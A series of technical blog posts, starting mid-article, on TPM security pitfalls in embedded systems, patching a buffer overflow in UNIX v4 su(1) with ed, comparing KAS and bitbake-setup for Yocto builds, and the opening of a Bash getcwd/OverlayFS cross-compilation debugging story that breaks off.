With that differences in mind, let’s have a look at some of the common pitfalls when using a TPM in general and specifically an embedded system:

Bus Snooping Attacks

By attaching a probe to the physical communication lines between a TPM and the CPU/SoC, a passive attacker can read the messages exchanged between them. This is a common and straightforward physical attack, particularly in unattended embedded devices.

To mitigate this, TPM 2.0 supports session-based command and response parameter encryption. This requires a secure session to be established between the client and the TPM. The TPM specification defines multiple session types, including HMAC sessions for command authentication and integrity, and policy sessions for more complex authorization based on conditions like PCR values.

Crucially, the TPM’s session-based encryption and authentication must be explicitly enabled by the client software, as not all current implementations do this by default. This is a significant security risk, as a lack of session encryption can expose sensitive data like unsealed keys or authorization values in plaintext on the bus, making it vulnerable to passive bus snooping.

TPM Reset Attacks by Active Interposer

A more advanced threat is an active attacker on the bus between the TPM and the CPU. They can launch a Man-in-the-Middle (MitM) attack, impersonating a legitimate TPM. Even with session encryption, this attack can be effective if the client does not first establish a trusted relationship with the TPM. A Time-of-Check to Time-of-Use (TOCTU) attack is also possible, where the attacker only launches the MitM once the system’s integrity check has passed.

A major challenge is attacks that work across TPM resets. An attacker can physically reset the TPM to force it back into an uncompromised state and then reconstruct the PCR values to reflect an untampered boot. This allows them to access keys sealed to those specific PCR values.

While there is no way to fully prevent a determined physical attacker, the Linux Kernel has gained support to detect such interposer attacks thanks to James Bottomley’s work on Kernel 6.10. The mechanism chosen for this relies on the TPM’s NULL seed, which changes its value on every TPM reset. This allows the kernel to derive a primary key that is volatile to the current boot session. The key’s unique, name can be passed securely from the bootloader to the kernel. If a MitM attacker resets the TPM during this handover, the handle will become invalid.

The attestation process is rather complex to perform in kernel code, so the kernel exposes the name of the derived key via sysfs, enabling userspace to perform the full attestation logic including verification of the EK certificate. Successful attestation of this NULL key name will prove that there was no interposer present during the whole boot process. For more details, see James’ excellent talk at FOSDEM 2025⁷.

Unfortunately, while the foundations in the Linux Kernel have been put in place and documented⁸, other parts are still lagging behind here. Especially systemd’s dm-crypt integration does not support this as of now.

A more robust alternative that helps mitigate these types of attacks is using a fTPM, as it runs on the same SoC, eliminating the physical bus. However, fTPMs have their own set of caveats, which we will discuss later.

Direct Physical Attacks on TPM Chip

With full physical access to the device, a malicious actor can perform a range of attacks, from fault injection and side-channel analysis to more direct tampering. While TPM chips are designed with security in mind, the level of protection varies significantly by vendor and model. The ISO/IEC 19790⁹ security level provides an indicator of a chip’s physical security capabilities. Unfortunately, most commercial TPMs only achieve Level 1 or Level 2. Level 3 and 4 certifications, which require tamper-resistant or tamper-evident features, are extremely rare for TPMs and are typically reserved for high-security applications using dedicated hardware security modules (HSMs).

A highly motivated attacker can aim to circumvent these protections by desoldering the TPM and operating in another device. When its secrets are cryptographically sealed to PCRs, it is also required that the attacker reproduces the relevant PCR measurements in order to be able to unseal a key outside the original device. While this is extremely difficult and requires a lot of effort, it demonstrates that a TPM is not a silver bullet.

Integrity Protection and Code Execution Flaws

While the host has means to verify the TPM chip (Endorsement Key), this does not work the other way around. A TPM has no way to do this as it is a passive device. As long as the caller provides the correct authorization value to perform a command, it will do so. This is a huge problem if malicious code is executed on a running system. If it gains enough privileges it can interact with the TPM to have it decrypt secrets.

If a TPM key is sealed to specific PCR values, a malicious process can gain access by resetting the TPM and replaying a legitimate boot process.

This highlights the need to secure the entire boot chain using measured boot and verified boot. However, these do not cover any runtime issues after the system successfully booted. For this, additional Kernel features like IMA/EVM are needed.

On embedded Arm-based systems, measured boot often begins after the SoC’s boot-ROM and the initial bootloader, which is why SoC-specific features like NXP’s HAB are essential to secure the lowest levels of the boot chain.

For secret storage, a robust hardening measure is to lock the TPM key to PCRs that change once the key is no longer needed. Once the disk is mounted in the initrd, an additional measurement can be made to change a PCR value, making the sealed key unusable until the next boot.

In general, a TPM cannot fully mitigate any code execution flaw on your platform. Once an attacker controls the OS kernel, they can often extract secrets already in memory or copy data from mounted, unencrypted disks. Therefore, additional in-depth hardening (e.g., AppArmor, SELinux), a clear concept of least privilege per process and hardening of backend infrastructure are crucial.

Hardware Flaws

TPM chips from various vendors have had hardware flaws in the past. One prime example is the ROCA vulnerability¹⁰ (CVE-2017-15361) affecting millions of Infineon TPM chips which produced weak RSA keys. Vulnerabilities like these become even more problematic with longer product lifetimes. If the security of a product is solely based on the TPM chip, a flaw in it can be catastrophic.

Therefore, additional hardening measures are needed to reduce the impact of malicious code execution (e.g. reduced privileges, SELinux) or key extraction (e.g. unique keys per device). Furthermore, any backend infrastructure should be hardened such that a single compromised device cannot impact the operation of other devices.

Software-based TPM Issues

On Intel and AMD hardware, fTPMs have become more known at least since Windows 11 requires a TPM to operate. These solutions implement a TPM in software, running within a Trusted Execution Environment (TEE) on the CPU. This has the advantage of removing any physical bus that can be snooped or tampered with. On the other hand, fTPMs are still vulnerable to various kinds of side-channel attacks, such as timing leaks, as the vulnerability dubbed TPM-FAIL has shown¹¹.

These trusted execution environments are vulnerable as well. Any flaw in the TEE can result in a full compromise of the TPM keys, breaking all security guarantees. This includes insecure key storage. While the TEEs are designed to keep the execution state safe, it also requires a secure way to persist secrets (e.g., TPM key hierarchy seeds) across reboots. A prime example is the faulTPM flaw on some AMD CPUs¹².

On Arm-based embedded devices, the main way to implement an fTPM is by utilizing Arm TrustZone technology and something like OP-TEE’s fTPM¹³. Any flaw in the TrustZone implementation can be a problem, including memory protection issues that leak keys the fTPM holds in memory¹⁴.

When using OP-TEE, it is also essential to properly configure the storage layer and ensure that it has a secure way to derive a storage encryption key that cannot be accessed outside of the TEE. SoCs with upstream OP-TEE support often already have this, but vendors sometimes ship forks that do not. When using storage backed by eMMC RPMB (Replay Protected Memory Block), the key must be properly set up and configured. Hard-coding the RPMB key in the OP-TEE binary is a particularly bad idea.

Cold Boot Attacks

While not a direct TPM problem, cold boot attacks are a critical consideration when designing a system that uses a TPM for secret storage. Although a physical TPM provides protection for its internal memory, the problem lies with the main system memory once the TPM has unsealed and returned a secret to the host. A prime example is disk encryption, where the encryption key resides in the volatile main memory for the entire duration of the system’s uptime. It is essential to ensure proper mitigations against cold boot attacks to avoid leaking secrets this way.

Performance

Not specific to embedded systems, but often overlooked: a TPM is slow. Therefore, offloading cryptography-heavy protocols like TLS to the TPM is unfeasible. It can, however, still be used to keep long-term keys secure and perform less timing-critical operations during a protocol handshake.

One more thing to keep in mind is that with TPM 2.0, root keys are not stored directly but derived from seeds. This key derivation can be computationally expensive. Consequently, using a RSA key can cause more significant delays than an ECC key due to the mathematical operations involved.

TPM Firmware Updates

It is common knowledge now that delivering security updates is crucial to keeping devices secure over their whole lifetime. It is important to remember that TPM chips also contain firmware that needs to be updated. On a regular PC, this is handled through UEFI or Windows. However, on an embedded device, it is the responsibility of the producer to keep the TPM firmware up to date. This is critical, especially when a vulnerability like TPM-FAIL (CVE-2019-16863) occurs, as it requires the ability to update your TPM to patch the flaw.

Summary

A TPM chip can help to implement state-of-the-art security mechanisms, but it’s not a silver bullet that will make things inherently secure. To utilize a TPM correctly, it is crucial to have a well-defined threat model. This model must clearly specify the role of the TPM and the kind of attacks it is intended to protect against. Especially when used on an embedded system, the lack of human interaction must be considered when designing protection against certain threats.

https://trustedcomputinggroup.org/resource/tpm-library-specification/ ↩︎
A TPM has a small amount of internal non-volatile storage, but this is primarily used for persistent objects like the Endorsement Key (EK) and the Storage Root Key (SRK). Due to its limited size, it is not used for general secret storage. ↩︎
The TPM 2.0 specification requires a minimum of 24 PCRs. PCRs 0-15 are defined as static and are typically reset upon a TPM restart. PCRs 16-23 are dynamic and may have a different reset behavior based on their purpose. For measured boot only PCRs 0-15 are commonly used. ↩︎
https://www.youtube.com/watch?app=desktop&v=eJihjE1zb1M ↩︎
https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/, https://github.com/nccgroup/TPMGenie ↩︎
https://cybersecurity.bureauveritas.com/blog/tpm-sniffing-attacks-against-non-bitlocker-targets ↩︎
https://fosdem.org/2025/schedule/event/fosdem-2025-4827-recent-tpm-security-enhancements-to-the-linux-kernel/ ↩︎
https://docs.kernel.org/security/tpm/tpm-security.html ↩︎
https://en.wikipedia.org/wiki/ISO/IEC_19790 ↩︎
https://blog.cr.yp.to/20171105-infineon.html ↩︎
https://tpm.fail/tpmfail.pdf ↩︎
https://arxiv.org/abs/2304.14717 ↩︎
https://github.com/OP-TEE/optee_ftpm ↩︎
https://link.springer.com/article/10.1007/s11416-021-00413-y ↩︎

Fixing a Buffer Overflow in UNIX v4 Like It's 1973

Richard Weinberger — Wed, 31 Dec 2025 00:00:00 +0100

Fixing a Buffer Overflow in UNIX v4 Like It’s 1973

Introduction

In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape¹. This version marks a pivotal moment in computer history: the rewriting of UNIX into C. Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator².

Fascinated by this artifact, I set up an instance to explore it. Because the distribution includes the source code, I examined the implementation of several core utilities. While auditing the su(1) program, I identified a bug. Let’s fix it.

The UNIX v4 su(1) program

Although more than 50 years old, the su program functions similarly to its modern variant. As a setuid-root executable, it validates the root password. If the user provides the correct credentials, the program spawns a root shell, allowing an unprivileged user to escalate privileges.

The source file, su.c, contains fewer than 50 lines of code.

/* su -- become super-user */

char    password[100];
char    pwbuf[100];
int     ttybuf[3];
main()
{
        register char *p, *q;
        extern fin;

        if(getpw(0, pwbuf))
                goto badpw;
        (&fin)[1] = 0;
        p = pwbuf;
        while(*p != ':')
                if(*p++ == '\0')
                        goto badpw;
        if(*++p == ':')
                goto ok;
        gtty(0, ttybuf);
        ttybuf[2] =& ~010;
        stty(0, ttybuf);
        printf("password: ");
        q = password;
        while((*q = getchar()) != '\n')
                if(*q++ == '\0')
                        return;
        *q = '\0';
        ttybuf[2] =| 010;
        stty(0, ttybuf);
        printf("\n");
        q = crypt(password);
        while(*q++ == *p++);
        if(*--q == '\0' && *--p == ':')
                goto ok;
        goto error;

badpw:
        printf("bad password file\n");
ok:
        setuid(0);
        execl("/bin/sh", "-", 0);
        printf("cannot execute shell\n");
error:
        printf("sorry\n");
}

In short, the program executes the following steps:

It calls getpw() to retrieve the passwd entry for the root user (UID 0) from /etc/passwd. Surprisingly, if the read fails or the line format is incorrect, su continues execution rather than aborting. While unusual, this likely acts as a safeguard to ensure su remains usable on a partially corrupted system. This is a security issue on its own because an unprivileged user could consume enough resources to make the getpw() call fail. Ron Natalie pointed³ out that this attack vector was known at the time.
It disables the TTY echo mode and prompts the user for a password.
It reads byte-by-byte from the TTY into a buffer until it encounters a newline or NUL character, NUL causes the program to exit immediately.
Once reading is complete, it re-enables echo mode, hashes the input using the crypt() library function, and compares the result with the stored hash.
If the hashes match, it spawns a shell, otherwise, it terminates.

The logic is standard, except for one critical flaw: the password buffer has a fixed size of 100 bytes, yet the input loop lacks a bounds check. If a user enters more than 100 characters, a buffer overflow occurs.

I confirmed this behavior by testing with a long input string, which successfully crashed the program. Not all long strings trigger a core dump. The outcome depends on which area of adjacent memory is overwritten, sometimes, su simply exits.

# su
password:Memory fault -- Core dumped

Note: Because su disables TTY echo mode, a crash prevents the terminal from displaying subsequent input. To restore visibility, type stty echo blindly and press Enter.

Fixing su(1)

UNIX traditionally includes the source code necessary for self-recompilation, and v4 is no exception. This allows us to patch and compile su directly on the system. In 1973, editor options were sparse. Neither vi nor emacs had been invented yet. However, the system provides ed, a line-oriented text editor designed for teletype terminals where output was printed on paper rather than displayed on a screen. ed allows us to list, delete, and append lines, which is sufficient for our needs.

We will edit su.c to prevent the overflow by maintaining a counter, i, and verifying it against the buffer size during the read loop. I initially attempted a fix using pointer arithmetic, but the 1973 C compiler didn’t like it, while it didn’t refuse the syntax, the code had no effect. I settled on a simpler index-based check instead.

--- a/s2/su.c
+++ b/s2/su.c
@@ -7,6 +7,7 @@ main()
 {
        register char *p, *q;
        extern fin;
+       register int i;
 
        if(getpw(0, pwbuf))
                goto badpw;
@@ -22,9 +23,13 @@ main()
        stty(0, ttybuf);
        printf("password: ");
        q = password;
-       while((*q = getchar()) != '\n')
+       i = 0;
+       while((*q = getchar()) != '\n') {
+               if (++i >= sizeof(password))
+                       goto error;
                if(*q++ == '\0')
                        return;
+       }
        *q = '\0';
        ttybuf[2] =| 010;
        stty(0, ttybuf);

# chdir /usr/source/s2
# ed su.c

Upon launch, ed outputs the file size in bytes and awaits input. The command i inserts text before the current line, d deletes the line, and p prints it. Entering a number moves the focus to that specific line, while pressing Return prints the current line’s content.

Below is a screen recording of the editing session:

741
8
        register char *p, *q;

        extern fin;
i
        register int i;
.
24
        printf("password: ");

        q = password;
i
        i = 0;
.
p
        i = 0;

        while((*q = getchar()) != '\n')
d
i
        while((*q = getchar()) != '\n') {
.

                if(*q++ == '\0')
i
                if (++i >= sizeof(password))
                        goto error;
.

                if(*q++ == '\0')

                        return;

        *q = '\0';
i
        }
.
w
811
q

First, we jump to line 8 and press Return several times to locate a suitable spot for the variable declaration. We use i to enter insert mode, add the variable, and then type a single period (.) on a new line to exit insert mode. The critical change occurs around the while loop: we initialize i and add a boundary check to the loop condition. Finally, w writes the modified buffer to disk, confirming the file has grown by a few bytes, and q terminates the editor.

Building and Deploying

With the source code patched, we must rebuild the binary. Since su consists of a single C file, the compilation process is trivial:

# cc su.c

The compiler outputs a binary named a.out. To deploy it, we move the file to /bin/su:

# mv a.out /bin/su

However, the installation is incomplete. Because su requires root privileges to function, we must set the setuid bit and adjust the file permissions:

# ls -l /bin/su
-rwxrwxrwx 1 root     2740 Jun 12 19:58 /bin/su
# chmod 4755 /bin/su
# ls -l /bin/su
-rwsr-xr-x 1 root     2740 Jun 12 19:58 /bin/su

Summary

UNIX v4 is a fascinating gem of computer history. It feels surprisingly similar to our current systems. While it lacks modern conveniences, the fundamental logic remains recognizable to anyone with modern UNIX experience.

The ability to fix su so quickly highlights the power of the early UNIX philosophy: shipping the operating system with its full source code and a C compiler. We patched, compiled, and deployed the fix directly on the system, no external toolchains required.

Finally, this bug reminds us of the era’s different priorities. In the trusted, isolated environments of 1973, security was not the critical concern it is today. Furthermore, the knowledge that a buffer overflow could be exploited for arbitrary code execution had not yet come of age.

As an exercise for the reader to improve their ed skills, try adding the code to restore TTY echo mode to the overflow detection logic. This ensures the terminal functions correctly even after the program catches the error.

The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS

Richard Weinberger — Tue, 28 Oct 2025 00:00:00 +0100

Full disclosure: As a long-term user and a contributor to KAS, my personal opinions here are inherently biased, though I have kept the technical facts as accurate and objective as possible.

The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS

Anyone who has ever used Yocto to create a custom Linux distribution has probably observed that the Yocto Project itself doesn’t offer a standardized method for the very first step: fetching all necessary layers and establishing the initial build configuration. Since 2017, the KAS tool has effectively filled this void. Today in 2025, KAS boasts a substantial user base and a thriving community. However, it remains neither an official part of the Yocto Project nor the officially recommended tool for project setup. Since 2024, the Yocto Project has been developing its own tool, bitbake-setup. Now, in late 2025, this new tool has begun to materialize.

As Linux consultants, we frequently receive questions from clients regarding the status and future direction of Yocto project setup. Especially after bitbake-setup became available, we were questioned what will happen to KAS, what to expect from bitbake-setup and so on. This blog post aims to summarize the current situation and clarify the key differences and implications of using KAS versus bitbake-setup.

KAS: Origins and a Brief Overview

Before the emergence of KAS¹ (Bavarian dialect for cheese), Yocto users typically managed layer dependencies using either git submodules or the repo² tool. This approach often relied on a collection of shell scripts to generate fundamental configuration files like bblayers.conf and local.conf. This process was frequently cumbersome and highly error-prone.

Engineers at Siemens recognized this lack of standardization as a risk to the quality of their build infrastructure and began to look for a solution. This effort led to the initial concepts behind KAS. The core principle behind KAS is to describe a Yocto project in a YAML configuration file to enable deterministic builds. The goal is simple: regardless of where you run the build, the output should be identical. KAS carefully controls the build environment, ensuring that no environment variables from the host system are inherited into the build unless explicitly specified within the KAS configuration file. Crucially, KAS works as an external tool with Yocto. Although it essentially wraps the standard Yocto process into a deterministic environment and generates all necessary configuration files, Yocto does not need to be aware of KAS in any way.

In addition to its core functionality, KAS also provides a wrapper script, kas-container, which allows developers to execute the entire project setup and build process inside a container using Docker or Podman. This containerization offers excellent isolation from the host system. By default, the KAS build container uses a minimal Debian Linux installation with only the host dependencies strictly required by the Yocto Project installed. This ensures that every build runs within a fully deterministic environment, further strengthening KAS’s promise of reproducible results.

Here is an example of a typical KAS configuration file:

header:
  version: 14
machine: raspberrypi5
distro: poky
target: core-image-minimal
repos:
  poky:
    url: "https://git.yoctoproject.org/git/poky"
    commit: d0b46a6624ec9c61c47270745dd0b2d5abbe6ac1 # walnascar-5.2.4
    layers:
      meta:
      meta-poky:
      meta-yocto-bsp:
  meta-raspberry:
    url: "https://git.yoctoproject.org/meta-raspberrypi"
    commit: 5c540d5447fba8b652c8778af30e605242df650c # walnascar as of 23.10.2025
local_conf_header:
  sstate-cdn: |
     BB_HASHSERVE_UPSTREAM = 'wss://hashserv.yoctoproject.org/ws'
     SSTATE_MIRRORS ?= "file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"
  rpi: |
     EXTRA_IMAGE_FEATURES = "ssh-server-openssh"
     LICENSE_FLAGS_ACCEPTED = "synaptics-killswitch"
     INHERIT += "rm_work"

This file describes:

Which repositories (layers) to fetch and the exact git commit to use.
The default machine, distro, and target image for the build.
Extra variables to append to the resulting local.conf file.

To build the project, you execute the command kas build rpi.yml. If you want the entire process to run within a container for maximum host isolation, you use the wrapper: kas-container build rpi.yml.

When you run KAS, it performs the following steps:

Check out all listed repositories.
Generate the bblayers.conf file.
Generate the local.conf file.
Execute the main build command, here bitbake -c build core-image-minimal.

When you use kas-container, KAS runs entirely inside the container. The host system only needs the kas-container shell script and either Docker or Podman installed.

Beyond project setup and building, KAS offers various other subcommands to streamline Yocto development. The most notable include:

shell: Opens a shell within the sanitized build environment, useful for debugging or running custom bitbake commands.
menu: Provides an interactive interface to configure the project and set build variables.
diff: Compares two KAS configuration files and shows the git log of each referenced repository
lock: Used for supply chain hardening, think of it like the lock file mechanism offered by Go, Cargo, or Node.js.

For more details on KAS, please refer to the documentation or this talk from Jan Kiskza.

bitbake-setup: The Yocto Project’s Official Solution

While KAS is permissively licensed under the MIT license and its developers have repeatedly expressed willingness to integrate KAS closely to the Yocto Project, these efforts never materialized.³ ⁴ Early on, Yocto developers stated that a setup tool like KAS should be an integrated component of bitbake, not a separate project. One argument to have such a tool as part of bitbake is that the bitbake fetch code can get re-used instead of executing git commands directly as KAS does currently. This position directly led to the development of bitbake-setup.

As its name suggests, bitbake-setup resides directly within the bitbake repository. Therefore, the very first step in setting up and building a Yocto system using this tool is cloning the bitbake git repository itself.

A typical bitbake-setup workflow looks like this:

git clone -b master-next https://git.openembedded.org/bitbake
bitbake/bin/bitbake-setup init rpi.conf.json
. /path/to/your/builddir/init-build-env
bitbake core-image-minimal

If you omit the parameter when running bitbake-setup init, it uses a default configuration. However, you will typically pass the name, a path or URL pointing to your configuration.

Here is an example of a simple bitbake-setup JSON configuration file:

{
  "description": "Raspberry Pi base config",
  "sources": {
    "bitbake": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.openembedded.org/bitbake"
          }
        },
        "rev": "master"
      },
      "path": "bitbake"
    },
    "openembedded-core": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.openembedded.org/openembedded-core"
          }
        },
        "rev": "master"
      },
      "path": "openembedded-core"
    },
    "meta-yocto": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.yoctoproject.org/meta-yocto"
          }
        },
        "rev": "master"
      },
      "path": "meta-yocto"
    },
    "meta-raspberrypi": {
      "git-remote": {
        "remotes": {
          "origin": {
            "uri": "git://git.yoctoproject.org/meta-raspberrypi"
          }
        },
        "rev": "master"
      },
      "path": "meta-raspberrypi"
    }
  },
  "bitbake-setup": {
    "configurations": [
      {
        "name": "poky",
        "description": "Poky reference distro build",
        "bb-layers": [
          "openembedded-core/meta",
          "meta-yocto/meta-yocto-bsp",
          "meta-yocto/meta-poky",
          "meta-raspberrypi"
        ],
        "oe-fragments": [
          "core/yocto/sstate-mirror-cdn"
        ],
        "oe-fragments-one-of": {
          "machine": {
            "description": "Available target machines",
            "options": [
              "machine/raspberrypi4",
              "machine/raspberrypi4-64",
              "machine/raspberrypi5"
            ]
          },
          "distro": {
            "description": "Available distributions",
            "options": [
              "distro/poky",
              "distro/poky-tiny"
            ]
          }
        }
      }
    ]
  },
  "version": "1.0"
}

The configuration file defines key project parameters, primarily:

Which repositories (layers) to fetch.
The available configurations, here distributions (DISTRO) and machines (MACHINE).

Like the kas menu command, bitbake-setup can prompt the user for configuration choices. For instance, based on the loaded configuration, it offers multiple options for the desired machine and distribution. However, the user interface differs: while KAS uses a Kconfig menu Text User Interface (TUI), bitbake-setup asks questions and collects input directly via the console.

Example output of bitbake-setup when asking questions:

Selecting the only available bitbake configuration poky

Available target machines:
0. machine/raspberrypi4
1. machine/raspberrypi4-64
2. machine/raspberrypi5

Please select one of the above options by its number:
2

Available distributions:
0. distro/poky
1. distro/poky-tiny

Please select one of the above options by its number:
0

bitbake-setup maintains a top-level directory, by default ~/bitbake-builds/. This directory hosts shared resources, including a downloads folder, global settings, build configurations, and the initialized Yocto projects. When you set up multiple projects using bitbake-setup, they automatically share the download folder because bitbake-setup pre-configures the DL_DIR variable. Additionally, bitbake-setup uses a registry to store build configurations. The default registry is located within the bitbake repository, but you can define a custom one.

For example, to set a new default registry, run bitbake-setup settings set default registry /path/to/my/bbregistry.

After placing your *.conf.json files into /path/to/my/bbregistry/configurations/, commands like bitbake-setup list and bitbake-setup init will recognize them.

$ bitbake-setup list
Loading settings from
    /home/bobthebuilder/bitbake-builds/settings.conf

Bitbake-setup is using /home/bobthebuilder/bitbake-builds as top directory ("bitbake-setup settings --help" shows how to change it).


Available configurations:
rpi     Raspberry Pi base config
base    A Yocto base configuration with options
xxx     Just testing

Run 'init' with one of the above configuration identifiers to set up a build.

So, by passing a configuration name to bitbake-setup init instead of a filename or an URL, it will lookup the configuration from the registry.

The incorporation of bitbake-setup into the bitbake repository has significant implications for how Yocto projects are fetched. Recall that the Poky repository has traditionally served as the official reference system, bundling three core components: bitbake, meta-yocto, and openembedded-core. Since bitbake-setup requires you to clone the standalone bitbake repository first, the historical role of the monolithic Poky repository is diminished. Users can now fetch openembedded-core and meta-yocto individually alongside bitbake. Consequently, for future Yocto releases, the Poky repository will no longer receive updates, users are advised to fetch the repositories individually.

How to apply this change to a KAS based project can be observed in this change: https://github.com/mendersoftware/meta-mender-community/commit/f82d2d4a9ebc79ac3e88e6388609e4ec8e49a7e6.

For more details on bitbake-setup, please refer to these two talks from Alexander Kanavin.

Comparing bitbake-setup and KAS

Comparing these two tools is more complex than one might initially expect. Both KAS and bitbake-setup have distinct origins. KAS essentially comes from users for users, while bitbake-setup reflects the perspective of Yocto developers. Yocto developers used this tool as an opportunity to implement long-standing tasks, such as untangling the Poky repository, implementing configuration fragments, and creating a setup tool tightly coupled with bitbake.

A key technical contrast with KAS is that bitbake-setup uses JSON for its configuration format, not YAML. While JSON is excellent as a serialization format, using it for human-edited configuration files introduces two main usability constraints:

JSON does not support comments, which can hinder documentation
It does not allow trailing commas, leading to potential parsing errors during manual edits

Therefore, we at sigma star gmbh, believe that JSON is less ideal for user-facing configuration files.

Another difference in philosophy is how the two tools manage the local.conf file. KAS automatically populates the local.conf file based on the settings defined in its YAML configuration. bitbake-setup does not automatically fill your local.conf. The reasoning behind this approach is that local.conf should contain only user-specific settings and overrides, preventing it from being polluted by auto-generated content.

For instance, the KAS example above would yield a local.conf that looks like this:

# rpi
EXTRA_IMAGE_FEATURES = "ssh-server-openssh"
LICENSE_FLAGS_ACCEPTED = "synaptics-killswitch"
INHERIT += "rm_work"

# sstate-cdn
BB_HASHSERVE_UPSTREAM = 'wss://hashserv.yoctoproject.org/ws'
SSTATE_MIRRORS ?= "file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"

MACHINE ??= "raspberrypi5"
DISTRO ??= "poky"
BBMULTICONFIG ?= ""

In contrast, local.conf as generated by bitbake-setup:

#
# This file is intended for local configuration tweaks.
#
# If you would like to publish and share changes made to this file,
# it is recommended to put them into a distro config, or to create
# layer fragments from changes made here.
#

Since bitbake-setup lets you select a distribution and machine but does not fill local.conf, Yocto developers have introduced a more generic concept: layer fragments. Layer fragments are files that contain variables and their corresponding values. You select these files during project setup, and the system inserts their contents directly into the global variable space. Fragment selection uses the new file toolcfg.conf and the variable OE_FRAGMENTS. For instance, in our example the system always pulls core/yocto/sstate-mirror-cdn.conf. And pulls distro/poky.conf plus machine/raspberrypi5.conf based on the user’s selection.

toolcfg.conf:

OE_FRAGMENTS += "core/yocto/sstate-mirror-cdn distro/poky machine/raspberrypi5"

The configuration of other settings, such as the download directory path (DL_DIR), also differs. KAS sets DL_DIR as an environment variable and adds it to BB_ENV_PASSTHROUGH_ADDITIONS, ensuring bitbake utilizes the DL_DIR value from the environment. Conversely, bitbake-setup injects the DL_DIR variable directly into the bitbake code parser cache.

As mentioned, bitbake-setup and KAS use different configuration formats. They also handle these configurations differently. bitbake-setup strictly uses a single configuration file. In contrast, KAS offers mechanisms to include or layer multiple configuration files. This can be achieved either via the includes property within a configuration file or directly at the command line, e.g. kas build rpi.yml:sigmastar-settings.yml. This layering feature is useful for maintaining large, complex build configurations where different Yocto setups share many settings. It also allows for overriding specific values, such as customer-specific settings (e.g., URLs for internal git repositories). At sigma star gmbh, we use this mechanism frequently to override customer-specific settings, such as URLs for internal git repositories. This is necessary, for example, when direct access to a customer’s internal network is unavailable and we must maintain a mirror of their git repos. For the curious reader, this git repository exhibits a non-trivial KAS configuration used at Siemens: https://github.com/siemens/meta-iot2050/.

Furthermore, a crucial difference from KAS is that bitbake-setup performs no host isolation. It checks out sources and configures Yocto but leaves it to the user to source the build environment and execute the desired bitbake command. While the Yocto Project has significantly improved its resilience to host contamination in recent years, issues still can occur. For projects prioritizing reproducibility, cheap container-based isolation remains a valuable safeguard. That said, we expect to see support for containerized builds, like kas-container provides, at some point. However, this does not seem to have priority⁵.

Finally, since bitbake-setup is in an early stage of development, it currently lacks robust error handling. Users may encounter unhandled Python exceptions when the tool faces errors, such as semantically incorrect configurations or unreachable network resources. However, I am optimistic that this will be improved in the near future.

Summary

Essentially, bitbake-setup and KAS share many features but approache them differently. The most significant difference is that bitbake-setup is deeply integrated into Yocto, whereas KAS is not. bitbake-setup is still in an early development stage, so more features and changes are expected. We expect bitbake-setup to gain a significant user base in the coming years, particularly once it is documented in the official Yocto materials. As of today, KAS is more mature and feature-rich than bitbake-setup, so we will continue to recommend KAS to all our customers. KAS will remain functional regardless of the direction in which bitbake-setup evolves because it does not require Yocto awareness.

We believe that both KAS and bitbake-setup can benefit from each other, one possible scenario we can think of is that bitbake-setup becomes usable as a plugin from KAS to fetch and set up all layers, while KAS allows building the project with just one command and a simple configuration file. We also expect that KAS will utilize layer fragments sooner or later.

From the users’ perspective, this sadly seems like a missed opportunity for collaboration. Hopefully, both the underlying reasons and the mutual benefits will become visible in the long run.

Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise

Richard Weinberger — Tue, 24 Jun 2025 00:00:00 +0200

Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise

This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, getcwd()¹, and OverlayFS². What began as a simple customer bug report evolved into a deep dive worth sharing.

Initial Bug Report

A customer reported that OpenSSH scp³ failed after switching to OverlayFS. We found the following error in the logs:

shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device

After analyzing the report, we realized the message didn’t come from scp itself but from the Bash shell. We asked the key question: why couldn’t Bash determine the current working directory, and why did it fail with ENOTTY (Inappropriate ioctl for device)?

Ruling Out the Kernel

Because the issue appeared after the introduction of OverlayFS, we reviewed the OverlayFS source code in the Linux kernel for any code paths that return ENOTTY. Although such paths exist, we considered hitting them highly unlikely.

Bash uses glibc and is written in C. We examined the glibc system call wrapper for getcwd() but found no logic that could return ENOTTY. The wrapper mainly handles buffer allocation and falls back to a generic implementation if the system call fails.

To test this theory, we enabled system call tracing. Surprisingly, the trace revealed that the getcwd() system call never got called. Since glibc offers multiple getcwd() implementations depending on the system, we double-checked that we had reviewed the correct Linux-specific one. We found no code path that bypassed the system call.

Bash’s home made `getcwd()`

A hunch led us to check how Bash links to the getcwd symbol:

$ nm -D bash | grep getcwd
...
000c7b10 T getcwd
...

This showed that Bash includes its own getcwd() function rather than relying on glibc’s version. We expected this output instead:

$ nm -D bash | grep getcwd
...
         U getcwd
...

Surprised, we inspected the Bash source and confirmed it does contain a getcwd() implementation, but guarded by the following:

#if !defined (HAVE_GETCWD)

Developers originally intended this fallback for ancient Unix systems lacking the getcwd() system call. On Linux, HAVE_GETCWD should normally be defined.

We confirmed in config.h:

#define HAVE_GETCWD 1

At first, this puzzled us because under normal conditions, the implementation should never compile. But further inspection of config-bot.h showed this logic:

#if defined (HAVE_GETCWD) && defined (GETCWD_BROKEN) && !defined (SOLARIS)
#  undef HAVE_GETCWD
#endif

Sure enough, our config.h defined GETCWD_BROKEN. That explained why Bash used its internal fallback. But why did the system consider getcwd() broken?

Cross-Compilation Confusion

We examined the output of the configure script in detail to trace the origin of GETCWD_BROKEN. We found this line:

checking if getcwd() will dynamically allocate memory with 0 size... \
configure: WARNING: cannot check whether getcwd allocates memory when cross-compiling \
-- defaulting to no

The check in aclocal.m4 sets GETCWD_BROKEN if it can’t confirm that getcwd() allocates memory with a zero-size buffer. Since the build occurred in a cross-compilation environment, the test defaulted to failure.

